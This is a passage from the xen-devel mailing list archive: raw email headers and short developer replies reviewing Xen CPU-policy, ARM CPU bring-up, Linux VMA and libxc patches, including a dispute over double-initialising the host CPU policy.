> 'CPU ID < nr_cpu_ids', so this mismatch can break things.
> 
> To fix this, modify dt_smp_init_cpus() so that if the
> arch_cpu_init() call fails, we don't consume the CPU ID slot.
> 
> Fixes: 4557c2292854 ("xen: arm: rewrite start of day page table and cpu bring up")
> Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>

~Michal



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 07:19:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 07:19:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351299.1608512 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBi9-0002sv-0B; Thu, 02 Jul 2026 07:19:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351299.1608512; Thu, 02 Jul 2026 07:19:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBi8-0002rj-TC; Thu, 02 Jul 2026 07:19:48 +0000
Received: by outflank-mailman (input) for mailman id 1351299;
 Thu, 02 Jul 2026 07:19:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfBi7-0002rd-LL
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:19:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfBi5-005hn9-W8
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:19:46 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a461111-5cb7-0a2a0a5109dd-0a2a450be308-8
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:19:45 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a461109-ac48-0a2a450b0019-d155dd2aa430-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:19:37 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso178764f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 00:19:37 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477de3dcf59sm6699044f8f.34.2026.07.02.00.19.36
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 00:19:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782976777; x=1783581577; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=GFnEOfF4jj8cE+H+zkvtGX3ba5jqVqYD8LMd89m3nVg=;
        b=TA16WlQz8Sr1sOwiyEabhBNmZK3cvXPHnLy+saIFyvoFyEdBNVKCmzM7uwE6zt8cLw
         CAKObjnRzCaUbDbLnpaDjS3q5InpzDOEIyXw8vOniHxzWGp/WPZ+wmm/POK8iBwEvTr+
         uaLrXoiHazwFnVZsmKvgHMj7CpnxWEP9K0ij82cphCJsa1YJpVl72aRSP8bc4Z9ZA/ZN
         h9V7Edm/MBlhIjmbgdAkV5vncvsFOgDq5nAV+FCIwwntKXJkT9mN0fz9xtAsUXAwjP7M
         2QUGaALS1ZGR1k88MuCzy6y0Ab3G8RH9E4omQGPGC/w/uUccAKIcJF/gFLXKP5XPtfSS
         Gssw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782976777; x=1783581577;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=GFnEOfF4jj8cE+H+zkvtGX3ba5jqVqYD8LMd89m3nVg=;
        b=gZigKKzyZmzYGCA85FH+klAdsLDOKEuIqbKQMKAgNfYVp2IobXf3KEtq5DtpgYRJrN
         LYvmnEu5Mb3rxdNTg9FH9A5zmi1soR65VGZ5fAErwlQQy1466X6q/XmrmKWWFhv/nQqD
         55BfnKm2NjnNDGaU8X3vK2SyjivgyUskVnfGIexqy7OFe4S7OZW5RIdeRHtZ9rMvHjCF
         ZlQybe+l8QqLY1JzfbG3Yb241fDZE+X+1nZreAzK2dbl/TxXZEDLgLa7pF0DWrikukbh
         F4SBwSk08P1EhyYbgW8T5MC6QKzsjuwN2BKVVdwD7TwmTZyXPHWIhct/2OqymwFTbMxb
         6Rew==
X-Forwarded-Encrypted: i=1; AHgh+RrK51ZPlUYf6zhPMbp3LTIRNiVpT9I74Dmsr3iET3oz30t7pdqeOI5/NqoL9iw1ou49U3N0U6Q1+S8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzHziKUNvkWTCbEGpOFUzRwN3oL6ViduqHafD26396hprNHG+QR
	fK+J8Q3e23wCDkE4BIK4eGPXiBzMBiMGya58LLgCYbCg2AqX1rgOue2hnZSK7EwZfA==
X-Gm-Gg: AfdE7cl3DOrJ7KRKb/Vg97Wej2JrYZMphSijZz4YPiaFR7M+OVUltw9SCr53MDTdHxb
	P8TLqb+wmkdwkXkvNqjtEAiXUcWG685PyNMTQZN+3OFjWW6YBnu8bjfEMDDWvkBCXH3wB4AYRQ0
	QrBpWX3wL8jbyGHxiuM0YZu8081vWLyEpLOQRMyfPhHVCtTNpPUd4B1P1g+kyE7CAsVb+MdiVVm
	tfumrPeKne3E7rWHJUyVUymc3CAvsnmJ6DbIH0/8Ot6sPHquJ8jTwYiWJTgUuk1uNgWMeLJDW5z
	qLh2sETv15hmOGYdznZB57uRKwQpqzBDn0AcEV6wFFLn7/VjfJMLR3RWMmhNc2i79dtsSC0S3t0
	7lWKQgCJX5V20Tvu5gDK7pAyFQEL747vfr4SBsOR51lFa2Z14PPLyWLRbU3tIk8FfPHhUCDm7AG
	9JhfqcYS0BgIlCGqRpTC/0YqV3x+Xd8jMX5qSOIi6VCojrPk/uIWhnrgSIBnmvArTAzLA6Deq1B
	tUh
X-Received: by 2002:a05:6000:468b:b0:478:3df9:5d8c with SMTP id ffacd0b85a97d-4783df95e6fmr1443116f8f.2.1782976776616;
        Thu, 02 Jul 2026 00:19:36 -0700 (PDT)
Message-ID: <71d8cad5-50cd-41ff-b674-abac64f296e9@suse.com>
Date: Thu, 2 Jul 2026 09:19:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/cpu-policy: set up host policy earlier
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <6dccae5f-fe09-4f35-9e4a-7a38fb21e8d1@suse.com>
 <53018bb5-0ad4-449e-adda-6b2d94a0935e@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpB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8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <53018bb5-0ad4-449e-adda-6b2d94a0935e@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1782976777-A6939220-46E0A658/0/0
X-purgate-type: clean
X-purgate-size: 2109

On 01.07.2026 17:21, Andrew Cooper wrote:
> On 07/04/2026 7:46 am, Jan Beulich wrote:
>> In order to use cpu_has_* expanding to host_cpu_policy.*, the host policy
>> needs setting up alongside boot_cpu_data.x86_capability[]. Arrange for
>> that towards the end of identify_cpu().
>>
>> Fixes: 894bd7617924 ("x86/Intel: use host CPU policy for ARAT checking")
>> Reported-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> ---
>> In the longer run we may need to (also) update the host policy from
>> setup_{force,clear}_cpu_cap().

I'm noticing only while making the change that I did already suggest here
what ...

>> --- a/xen/arch/x86/cpu-policy.c
>> +++ b/xen/arch/x86/cpu-policy.c
>> @@ -359,7 +359,7 @@ void calculate_raw_cpu_policy(void)
>>      /* Was already added by probe_cpuid_faulting() */
>>  }
>>  
>> -static void __init calculate_host_policy(void)
>> +void __init calculate_host_policy(void)
>>  {
>>      struct cpu_policy *p = &host_cpu_policy;
>>      unsigned int max_extd_leaf;
>> @@ -904,6 +904,7 @@ static void __init calculate_hvm_def_pol
>>  
>>  void __init init_guest_cpu_policies(void)
>>  {
>> +    /* Do this a 2nd time to account for setup_{clear,force}_cpu_cap() uses. */
>>      calculate_host_policy();
> 
> I'm sorry, but no.Â  The cleanup work to CPUID handling is in an attempt
> to purge this antipattern.
> 
> Double-initialising data structures *is* the entire reason we have
> order-of-boot problems in the first place.Â  Having a structure which is
> initialised but wrong is itself wrong.
> 
> Really, I should insist on a revert of switching cpu_has_* to use
> host_policy.Â  It was not adequately tested and is not compatible with
> how Xen starts up.
> 
> But as I expect you're going to object to that feedback, I'll tolerate
> setup_*_cpu_cap() keeping the host policy correct as they're called.Â 
> The easy option is to call x86_cpu_featureset_to_policy() each time.Â 

... you're effectively (see my earlier reply) asking for here.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 07:28:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 07:28:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351310.1608521 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBqO-00053m-Rp; Thu, 02 Jul 2026 07:28:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351310.1608521; Thu, 02 Jul 2026 07:28:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfBqO-00053f-PD; Thu, 02 Jul 2026 07:28:20 +0000
Received: by outflank-mailman (input) for mailman id 1351310;
 Thu, 02 Jul 2026 07:28:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wfBqL-00053G-Vw
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:28:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfBqJ-00Cl8V-Tc
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:28:17 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a461302-bab6-0a2a0a5309dd-0a2a450aad90-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:28:15 +0200
Received: from [95.215.58.176] (helo=out-176.mta1.migadu.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a46130d-e40e-0a2a450a0019-5fd73ab0ee00-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:28:13 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782977290;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=cdXAMvaGTLXZ4tRHqX+15mFjqPO5NJv7/lbzInUeZeM=;
	b=UUw36nfQUDO4ek5W5MoGxv/bQdNbTQycY1qQKAEoJymjql+ZXc8a2FUo9eNrafl6xDrEni
	1302Z8Y+Ma+0qxdUDhBISoxry5nus7uGAN8fTkB0ZcU/zUf+14Ol9iIljWhjg5Yh/mt933
	8BhSh84bNWygA1To4TaXOltx56F5hgs=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 01/13] mm: introduce vma_flags_can_grow() and vma_can_grow()
Date: Thu,  2 Jul 2026 15:27:50 +0800
Message-Id: <20260702072750.45641-1-lance.yang@linux.dev>
In-Reply-To: <f2e8c32515d328db62279cc8bab8398ea278d74f.1782760670.git.ljs@kernel.org>
References: <f2e8c32515d328db62279cc8bab8398ea278d74f.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-4011c0/1782977295-3C67BDDE-C6E0EA24/0/0
X-purgate-type: clean
X-purgate-size: 680


On Mon, Jun 29, 2026 at 08:25:24PM +0100, Lorenzo Stoakes wrote:
>These test whether the VMA has stack sematics, i.e. is able to grow upwards
>or downwards depending on the architecture.
>
>In order to account for arches which do not support upward-growing stacks,
>introduce VMA_GROWSUP whose definition depends on the architecture
>supporting it, and use vma_flags_test_single_mask() in vma_flags_can_grow()
>to account for this.
>
>Update the VMA userland tests to reflect the changes
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---

Nice cleanup! Feel free to add:

Reviewed-by: Lance Yang <lance.yang@linux.dev>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 07:49:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 07:49:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351323.1608529 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCAv-0001ME-F1; Thu, 02 Jul 2026 07:49:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351323.1608529; Thu, 02 Jul 2026 07:49:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCAv-0001M7-CP; Thu, 02 Jul 2026 07:49:33 +0000
Received: by outflank-mailman (input) for mailman id 1351323;
 Thu, 02 Jul 2026 07:49:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f21cddaf000080a8@swg.vates.tech>)
 id 1wfCAt-0001M1-OO
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:49:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfCAs-00D4wd-3v
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:49:30 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f21cddaf000080a8@swg.vates.tech>)
 id 6a461807-2eae-0a2a0a5409dd-0a2a45048326-4
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:49:29 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f21cddaf000080a8@swg.vates.tech>)
 id 6a461809-a01d-0a2a45040019-b9ff1c22a145-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 09:49:29 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f21cddaf000080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 02 Jul 2026 07:49:26 +0000
Received: from l14 (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr [90.112.16.6])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2ADE08078E;
 Thu,  2 Jul 2026 09:49:26 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=z8acwMs0RoUZwSPsP//PIk2dCVY8ioVGU3CXmoXVDiw=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=LnfK1AEhWJ8lZV22XZOKslPVHAJW+wid1/K9TSYRNy6TJZgjLlBEv9kUuP1XIPLr4EvkFHGq0
 5o33ymhAQZ+9b7nQlpAj3PEXMIB3w/WqPGrt2UtzkgLpIwg0IckNr1S06qgjXpL2XXCLiEaI4JK
 xn1e7k2AJ3hKbodmbIfH0cSM1B+BVvQ/vOSsa9XlsBpPkm+EQ8rxrwP2am8icX/zydNBB0iav3b
 6LiOtCcvqTS7IN/SqZ9mf4jK65zjAl6DfEetfnS8ekwym7cGobCvYV25+FJzw6J7AeBnyy8x5OV
 ckKnuq3f8ItRjq/CPt1tbrJuB1Eib5Ko76Qn57A7N+DA==
X-Zone-Loop: 060998b047c4324b69275eab5ebbc0ed7f7e3edfa9f9
x-campaign-type: default
x-transaction-id: b86dc9e0-945d-4035-9d95-d72967eb17c3
x-swg-uid: 01-ee351179-8bfa-4446-a477-5ecbe552e781
X-Mailer: Sweego
Message-ID:
 <1782978566.8631fc262581453bbf619ec5b2062170.19f21cddaf000080a8@vates.tech>
x-swg-bid: 1782978566.8631fc262581453bbf619ec5b2062170.19f21cddaf000080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 2 Jul 2026 09:49:25 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Juergen Gross <jgross@suse.com>,
	Daniel Smith <dpsmith@apertussolutions.com>,
	Marek Marczykowski <marmarek@invisiblethingslab.com>
Subject: Re: [PATCH v2 1/2] libxc: drop size parameter from
 xc_flask_context_to_sid()
References: <ba863889-b389-4264-824e-121a5daeba61@suse.com>
 <d3b03ebb-7923-4033-8bcb-cf0cdbb4e771@suse.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <d3b03ebb-7923-4033-8bcb-cf0cdbb4e771@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.e.292e58765e21126.19f21cdd88f.7002498917770ad1=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1782978566294
X-purgate-ID: tlsNG-ebf023/1782978569-2E3A41CC-2699A41C/0/0
X-purgate-type: clean
X-purgate-size: 807

---=Part.e.292e58765e21126.19f21cdd88f.7002498917770ad1=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Wed, Jul 01, 2026 at 04:47:52PM +0200, Jan Beulich wrote:
> Nul-terminated strings are passed in all cases, so the strlen() can very
> well be invoked by the function itself=2E In preparation for a hyperviso=
r
> change also include the nul terminator in the size calculation=2E
>=20
> Signed-off-by: Jan Beulich <jbeulich@suse=2Ecom>
> Acked-by: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblethingslab=
=2Ecom>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
 | Vates 

XCP-ng & Xen Orchestra - Vates solutions

web: https://vate=
s=2Etech
---=Part.e.292e58765e21126.19f21cdd88f.7002498917770ad1=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 08:07:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 08:07:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351350.1608539 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCSI-0005HQ-EM; Thu, 02 Jul 2026 08:07:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351350.1608539; Thu, 02 Jul 2026 08:07:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCSI-0005HJ-BZ; Thu, 02 Jul 2026 08:07:30 +0000
Received: by outflank-mailman (input) for mailman id 1351350;
 Thu, 02 Jul 2026 08:07:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wfCSF-0005Gx-0z
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:07:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfCSD-00Ctpl-IC
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:07:25 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a461c3d-bab6-0a2a0a5309dd-0a2a4502db44-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:07:25 +0200
Received: from [40.107.74.104]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a461c36-5a27-0a2a45020019-286b4a682f06-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:07:20 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OSOP286MB4065.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:2ee::6) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.9; Thu, 2 Jul 2026
 08:07:15 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.008; Thu, 2 Jul 2026
 08:07:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
